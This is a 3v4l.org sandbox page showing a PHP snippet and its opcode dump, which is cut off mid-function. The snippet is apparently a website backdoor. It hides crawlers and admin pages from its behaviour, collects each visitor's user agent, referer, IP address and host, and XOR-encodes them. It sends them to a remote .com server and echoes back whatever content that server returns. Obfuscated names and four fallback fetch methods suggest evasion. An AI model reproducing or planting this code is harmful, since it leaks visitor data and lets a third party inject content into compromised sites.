3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en23($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; }; function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; } function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf; } function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; } if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"",$i)+1; if ($flg & 16) $i=strpos($gzData,"", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}} } //} function k34($op,$text) { return base64_encode(en2($text, $op)); } function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) { $o1 = ""; } else { $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; } return $o1; } //} if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; } } echo day212();
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 5, Position 2 = 6
Branch analysis from position: 5
2 jumps found. (Code = 43) Position 1 = 11, Position 2 = 12
Branch analysis from position: 11
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 12
Branch analysis from position: 6
filename:       /in/7vn4D
function name:  (null)
number of ops:  16
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   92     0  E >   INIT_FCALL                                               'function_exists'
          1        SEND_VAL                                                 'comgzi'
          2        DO_ICALL                                         $0      
          3        BOOL_NOT                                         ~1      $0
          4      > JMPZ                                                     ~1, ->6
   93     5    >   DECLARE_FUNCTION                                         'comgzi'
  138     6    >   INIT_FCALL                                               'function_exists'
          7        SEND_VAL                                                 'dcoo'
          8        DO_ICALL                                         $2      
          9        BOOL_NOT                                         ~3      $2
         10      > JMPZ                                                     ~3, ->12
  139    11    >   DECLARE_FUNCTION                                         'dcoo'
  154    12    >   INIT_FCALL                                               'day212'
         13        DO_FCALL                                      0  $4      
         14        ECHO                                                     $4
         15      > RETURN                                                   1

Function en23:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8
Branch analysis from position: 32
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 8
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8
Branch analysis from position: 32
Branch analysis from position: 8
filename:       /in/7vn4D
function name:  en23
number of ops:  35
compiled vars:  !0 = $s, !1 = $q, !2 = $l, !3 = $p, !4 = $r, !5 = $m, !6 = $g
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   RECV                                             !0      
          1        RECV                                             !1      
    3     2        ASSIGN                                                   !2, 'strlen'
    4     3        ASSIGN                                                   !3, 'pack'
    5     4        ASSIGN                                                   !4, 'substr'
    6     5        ASSIGN                                                   !5, 'md5'
    7     6        ASSIGN                                                   !6, ''
    8     7      > JMP                                                      ->24
    9     8    >   INIT_DYNAMIC_CALL                                        !3
          9        SEND_VAL_EX                                              'H%2A'
         10        INIT_DYNAMIC_CALL                                        !5
         11        CONCAT                                           ~12     !6, !1
         12        CONCAT                                           ~13     ~12, 'q1w2e3r4'
         13        SEND_VAL_EX                                              ~13
         14        DO_FCALL                                      0  $14     
         15        SEND_VAR_NO_REF_EX                                       $14
         16        DO_FCALL                                      0  $15     
         17        ASSIGN                                                   !1, $15
   10    18        INIT_DYNAMIC_CALL                                        !4
         19        SEND_VAR_EX                                              !1
         20        SEND_VAL_EX                                              0
         21        SEND_VAL_EX                                              8
         22        DO_FCALL                                      0  $17     
         23        ASSIGN_OP                                     8          !6, $17
    8    24    >   INIT_DYNAMIC_CALL                                        !2
         25        SEND_VAR_EX                                              !6
         26        DO_FCALL                                      0  $19     
         27        INIT_DYNAMIC_CALL                                        !2
         28        SEND_VAR_EX                                              !0
         29        DO_FCALL                                      0  $20     
         30        IS_SMALLER                                               $19, $20
         31      > JMPNZ                                                    ~21, ->8
   12    32    >   BW_XOR                                           ~22     !0, !6
         33      > RETURN                                                   ~22
   13    34*     > RETURN                                                   null

End of function en23

Function en2:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8
Branch analysis from position: 32
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 8
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8
Branch analysis from position: 32
Branch analysis from position: 8
filename:       /in/7vn4D
function name:  en2
number of ops:  35
compiled vars:  !0 = $s, !1 = $q, !2 = $l, !3 = $p, !4 = $r, !5 = $m, !6 = $g
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   14     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   15     2        ASSIGN                                                   !2, 'strlen'
   16     3        ASSIGN                                                   !3, 'pack'
   17     4        ASSIGN                                                   !4, 'substr'
   18     5        ASSIGN                                                   !5, 'md5'
   19     6        ASSIGN                                                   !6, ''
   20     7      > JMP                                                      ->24
   21     8    >   INIT_DYNAMIC_CALL                                        !3
          9        SEND_VAL_EX                                              'H%2A'
         10        INIT_DYNAMIC_CALL                                        !5
         11        CONCAT                                           ~12     !6, !1
         12        CONCAT                                           ~13     ~12, 'q1w2e3r4'
         13        SEND_VAL_EX                                              ~13
         14        DO_FCALL                                      0  $14     
         15        SEND_VAR_NO_REF_EX                                       $14
         16        DO_FCALL                                      0  $15     
         17        ASSIGN                                                   !1, $15
   22    18        INIT_DYNAMIC_CALL                                        !4
         19        SEND_VAR_EX                                              !1
         20        SEND_VAL_EX                                              0
         21        SEND_VAL_EX                                              8
         22        DO_FCALL                                      0  $17     
         23        ASSIGN_OP                                     8          !6, $17
   20    24    >   INIT_DYNAMIC_CALL                                        !2
         25        SEND_VAR_EX                                              !6
         26        DO_FCALL                                      0  $19     
         27        INIT_DYNAMIC_CALL                                        !2
         28        SEND_VAR_EX                                              !0
         29        DO_FCALL                                      0  $20     
         30        IS_SMALLER                                               $19, $20
         31      > JMPNZ                                                    ~21, ->8
   24    32    >   BW_XOR                                           ~22     !0, !6
         33      > RETURN                                                   ~22
   25    34*     > RETURN                                                   null

End of function en2

Function g_1:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 16
Branch analysis from position: 15
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 16
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/7vn4D
function name:  g_1
number of ops:  18
compiled vars:  !0 = $url, !1 = $buf
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   27     0  E >   RECV                                             !0      
   28     1        INIT_FCALL                                               'function_exists'
          2        SEND_VAL                                                 'file_get_contents'
          3        DO_ICALL                                         $2      
          4        TYPE_CHECK                                    4          $2
          5      > JMPZ                                                     ~3, ->7
          6    > > RETURN                                                   <false>
   29     7    >   BEGIN_SILENCE                                    ~4      
          8        INIT_FCALL                                               'file_get_contents'
          9        SEND_VAR                                                 !0
         10        DO_ICALL                                         $5      
         11        END_SILENCE                                              ~4
         12        ASSIGN                                                   !1, $5
         13        IS_EQUAL                                                 !1, ''
         14      > JMPZ                                                     ~7, ->16
         15    > > RETURN                                                   <false>
         16    > > RETURN                                                   !1
   30    17*     > RETURN                                                   null

End of function g_1

Function g_2:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 43, Position 2 = 44
Branch analysis from position: 43
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/7vn4D
function name:  g_2
number of ops:  46
compiled vars:  !0 = $url, !1 = $ch, !2 = $res
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   31     0  E >   RECV                                             !0      
   32     1        INIT_FCALL                                               'function_exists'
          2        SEND_VAL                                                 'curl_init'
          3        DO_ICALL                                         $3      
          4        TYPE_CHECK                                    4          $3
          5      > JMPZ                                                     ~4, ->7
          6    > > RETURN                                                   <false>
   34     7    >   INIT_FCALL_BY_NAME                                       'curl_init'
          8        DO_FCALL                                      0  $5      
          9        ASSIGN                                                   !1, $5
         10        INIT_FCALL_BY_NAME                                       'curl_setopt'
         11        SEND_VAR_EX                                              !1
         12        FETCH_CONSTANT                                   ~7      'CURLOPT_URL'
         13        SEND_VAL_EX                                              ~7
         14        SEND_VAR_EX                                              !0
         15        DO_FCALL                                      0          
   36    16        INIT_FCALL_BY_NAME                                       'curl_setopt'
         17        SEND_VAR_EX                                              !1
         18        FETCH_CONSTANT                                   ~9      'CURLOPT_RETURNTRANSFER'
         19        SEND_VAL_EX                                              ~9
         20        SEND_VAL_EX                                              1
         21        DO_FCALL                                      0          
   38    22        INIT_FCALL_BY_NAME                                       'curl_setopt'
         23        SEND_VAR_EX                                              !1
         24        FETCH_CONSTANT                                   ~11     'CURLOPT_TIMEOUT'
         25        SEND_VAL_EX                                              ~11
         26        SEND_VAL_EX                                              10
         27        DO_FCALL                                      0          
   39    28        INIT_FCALL_BY_NAME                                       'curl_setopt'
         29        SEND_VAR_EX                                              !1
         30        FETCH_CONSTANT                                   ~13     'CURLOPT_HEADER'
         31        SEND_VAL_EX                                              ~13
         32        SEND_VAL_EX                                              0
         33        DO_FCALL                                      0          
   40    34        INIT_FCALL_BY_NAME                                       'curl_exec'
         35        SEND_VAR_EX                                              !1
         36        DO_FCALL                                      0  $15     
         37        ASSIGN                                                   !2, $15
   41    38        INIT_FCALL_BY_NAME                                       'curl_close'
         39        SEND_VAR_EX                                              !1
         40        DO_FCALL                                      0          
   42    41        IS_EQUAL                                                 !2, ''
         42      > JMPZ                                                     ~18, ->44
   43    43    > > RETURN                                                   <false>
   44    44    > > RETURN                                                   !2
   45    45*     > RETURN                                                   null

End of function g_2

Function g_3:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 23
Branch analysis from position: 22
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 23
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/7vn4D
function name:  g_3
number of ops:  25
compiled vars:  !0 = $url, !1 = $inc, !2 = $buf
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   47     0  E >   RECV                                             !0      
   48     1        INIT_FCALL                                               'function_exists'
          2        SEND_VAL                                                 'file'
          3        DO_ICALL                                         $3      
          4        TYPE_CHECK                                    4          $3
          5      > JMPZ                                                     ~4, ->7
          6    > > RETURN                                                   <false>
   49     7    >   BEGIN_SILENCE                                    ~5      
          8        INIT_FCALL                                               'file'
          9        SEND_VAR                                                 !0
         10        DO_ICALL                                         $6      
         11        END_SILENCE                                              ~5
         12        ASSIGN                                                   !1, $6
   50    13        BEGIN_SILENCE                                    ~8      
         14        INIT_FCALL                                               'implode'
         15        SEND_VAL                                                 ''
         16        SEND_VAR                                                 !1
         17        DO_ICALL                                         $9      
         18        END_SILENCE                                              ~8
         19        ASSIGN                                                   !2, $9
   51    20        IS_EQUAL                                                 !2, ''
         21      > JMPZ                                                     ~11, ->23
         22    > > RETURN                                                   <false>
   52    23    > > RETURN                                                   !2
   53    24*     > RETURN                                                   null

End of function g_3

Function g_4:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 20
Branch analysis from position: 18
2 jumps found. (Code = 43) Position 1 = 44, Position 2 = 45
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 45
2 jumps found. (Code = 43) Position 1 = 65, Position 2 = 71
Branch analysis from position: 65
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 71
1 jumps found. (Code = 42) Position 1 = 86
Branch analysis from position: 86
2 jumps found. (Code = 44) Position 1 = 92, Position 2 = 85
Branch analysis from position: 92
2 jumps found. (Code = 43) Position 1 = 99, Position 2 = 100
Branch analysis from position: 99
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 100
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 85
2 jumps found. (Code = 44) Position 1 = 92, Position 2 = 85
Branch analysis from position: 92
Branch analysis from position: 85
Branch analysis from position: 20
filename:       /in/7vn4D
function name:  g_4
number of ops:  111
compiled vars:  !0 = $url, !1 = $p, !2 = $host, !3 = $uri, !4 = $ip1, !5 = $ip2, !6 = $sock, !7 = $req, !8 = $buf, !9 = $t, !10 = $m
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   55     0  E >   RECV                                             !0      
   56     1        INIT_FCALL                                               'function_exists'
          2        SEND_VAL                                                 'socket_create'
          3        DO_ICALL                                         $11     
          4        TYPE_CHECK                                    4          $11
          5      > JMPZ                                                     ~12, ->7
          6    > > RETURN                                                   <false>
   57     7    >   BEGIN_SILENCE                                    ~13     
          8        INIT_FCALL                                               'parse_url'
          9        SEND_VAR                                                 !0
         10        DO_ICALL                                         $14     
         11        END_SILENCE                                              ~13
         12        ASSIGN                                                   !1, $14
   58    13        FETCH_DIM_R                                      ~16     !1, 'host'
         14        ASSIGN                                                   !2, ~16
   59    15        ISSET_ISEMPTY_DIM_OBJ                         0  ~18     !1, 'query'
         16        BOOL_NOT                                         ~19     ~18
         17      > JMPZ                                                     ~19, ->20
         18    >   ASSIGN_DIM                                               !1, 'query'
         19        OP_DATA                                                  ''
   60    20    >   FETCH_DIM_R                                      ~21     !1, 'path'
         21        CONCAT                                           ~22     ~21, '%3F'
         22        FETCH_DIM_R                                      ~23     !1, 'query'
         23        CONCAT                                           ~24     ~22, ~23
         24        ASSIGN                                                   !3, ~24
   61    25        BEGIN_SILENCE                                    ~26     
         26        INIT_FCALL                                               'gethostbyname'
         27        SEND_VAR                                                 !2
         28        DO_ICALL                                         $27     
         29        END_SILENCE                                              ~26
         30        ASSIGN                                                   !4, $27
   62    31        BEGIN_SILENCE                                    ~29     
         32        INIT_FCALL                                               'long2ip'
         33        BEGIN_SILENCE                                    ~30     
         34        INIT_FCALL                                               'ip2long'
         35        SEND_VAR                                                 !4
         36        DO_ICALL                                         $31     
         37        END_SILENCE                                              ~30
         38        SEND_VAR                                                 $31
         39        DO_ICALL                                         $32     
         40        END_SILENCE                                              ~29
         41        ASSIGN                                                   !5, $32
   63    42        IS_NOT_EQUAL                                             !4, !5
         43      > JMPZ                                                     ~34, ->45
         44    > > RETURN                                                   <false>
   64    45    >   BEGIN_SILENCE                                    ~35     
         46        INIT_FCALL_BY_NAME                                       'socket_create'
         47        FETCH_CONSTANT                                   ~36     'AF_INET'
         48        SEND_VAL_EX                                              ~36
         49        FETCH_CONSTANT                                   ~37     'SOCK_STREAM'
         50        SEND_VAL_EX                                              ~37
         51        FETCH_CONSTANT                                   ~38     'SOL_TCP'
         52        SEND_VAL_EX                                              ~38
         53        DO_FCALL                                      0  $39     
         54        END_SILENCE                                              ~35
         55        ASSIGN                                                   !6, $39
   65    56        BEGIN_SILENCE                                    ~41     
         57        INIT_FCALL_BY_NAME                                       'socket_connect'
         58        SEND_VAR_EX                                              !6
         59        SEND_VAR_EX                                              !4
         60        SEND_VAL_EX                                              80
         61        DO_FCALL                                      0  $42     
         62        END_SILENCE                                              ~41
         63        BOOL_NOT                                         ~43     $42
         64      > JMPZ                                                     ~43, ->71
         65    >   BEGIN_SILENCE                                    ~44     
         66        INIT_FCALL_BY_NAME                                       'socket_close'
         67        SEND_VAR_EX                                              !6
         68        DO_FCALL                                      0          
         69        END_SILENCE                                              ~44
         70      > RETURN                                                   <false>
   66    71    >   ROPE_INIT                                     3  ~47     'GET+'
         72        ROPE_ADD                                      1  ~47     ~47, !3
         73        ROPE_END                                      2  ~46     ~47, '+HTTP%2F1.0%0A'
         74        ASSIGN                                                   !7, ~46
   67    75        ROPE_INIT                                     3  ~51     'Host%3A+'
         76        ROPE_ADD                                      1  ~51     ~51, !2
         77        ROPE_END                                      2  ~50     ~51, '%0A%0A'
         78        ASSIGN_OP                                     8          !7, ~50
         79        INIT_FCALL_BY_NAME                                       'socket_write'
         80        SEND_VAR_EX                                              !6
         81        SEND_VAR_EX                                              !7
         82        DO_FCALL                                      0          
   68    83        ASSIGN                                                   !8, ''
   69    84      > JMP                                                      ->86
   70    85    >   ASSIGN_OP                                     8          !8, !9
   69    86    >   INIT_FCALL_BY_NAME                                       'socket_read'
         87        SEND_VAR_EX                                              !6
         88        SEND_VAL_EX                                              10000
         89        DO_FCALL                                      0  $57     
         90        ASSIGN                                           ~58     !9, $57
         91      > JMPNZ                                                    ~58, ->85
   71    92    >   BEGIN_SILENCE                                    ~59     
         93        INIT_FCALL_BY_NAME                                       'socket_close'
         94        SEND_VAR_EX                                              !6
         95        DO_FCALL                                      0          
         96        END_SILENCE                                              ~59
   72    97        IS_EQUAL                                                 !8, ''
         98      > JMPZ                                                     ~61, ->100
         99    > > RETURN                                                   <false>
   74   100    >   INIT_FCALL                                               'explode'
        101        SEND_VAL                                                 '%0D%0A%0D%0A'
        102        SEND_VAR                                                 !8
        103        DO_ICALL                                         $62     
        104        FETCH_LIST_R                                     $63     $62, 0
        105        ASSIGN                                                   !10, $63
        106        FETCH_LIST_R                                     $65     $62, 1
        107        ASSIGN                                                   !8, $65
        108        FREE                                                     $62
        109      > RETURN                                                   !8
   75   110*     > RETURN                                                   null

End of function g_4

Function gtd:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 10, Position 2 = 11
Branch analysis from position: 10
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 11
2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 20
Branch analysis from position: 19
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 20
2 jumps found. (Code = 43) Position 1 = 28, Position 2 = 29
Branch analysis from position: 28
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 29
2 jumps found. (Code = 43) Position 1 = 37, Position 2 = 38
Branch analysis from position: 37
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 38
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/7vn4D
function name:  gtd
number of ops:  40
compiled vars:  !0 = $url, !1 = $co
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   77     0  E >   RECV                                             !0      
   78     1        ASSIGN                                                   !1, ''
   79     2        BEGIN_SILENCE                                    ~3      
          3        INIT_FCALL                                               'g_1'
          4        SEND_VAR                                                 !0
          5        DO_FCALL                                      0  $4      
          6        END_SILENCE                                              ~3
          7        ASSIGN                                                   !1, $4
   80     8        TYPE_CHECK                                  1018          !1
          9      > JMPZ                                                     ~6, ->11
   81    10    > > RETURN                                                   !1
   82    11    >   BEGIN_SILENCE                                    ~7      
         12        INIT_FCALL                                               'g_2'
         13        SEND_VAR                                                 !0
         14        DO_FCALL                                      0  $8      
         15        END_SILENCE                                              ~7
         16        ASSIGN                                                   !1, $8
   83    17        TYPE_CHECK                                  1018          !1
         18      > JMPZ                                                     ~10, ->20
   84    19    > > RETURN                                                   !1
         20    >   BEGIN_SILENCE                                    ~11     
         21        INIT_FCALL                                               'g_3'
         22        SEND_VAR                                                 !0
         23        DO_FCALL                                      0  $12     
         24        END_SILENCE                                              ~11
         25        ASSIGN                                                   !1, $12
   85    26        TYPE_CHECK                                 

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
267.88 ms | 1431 KiB | 36 Q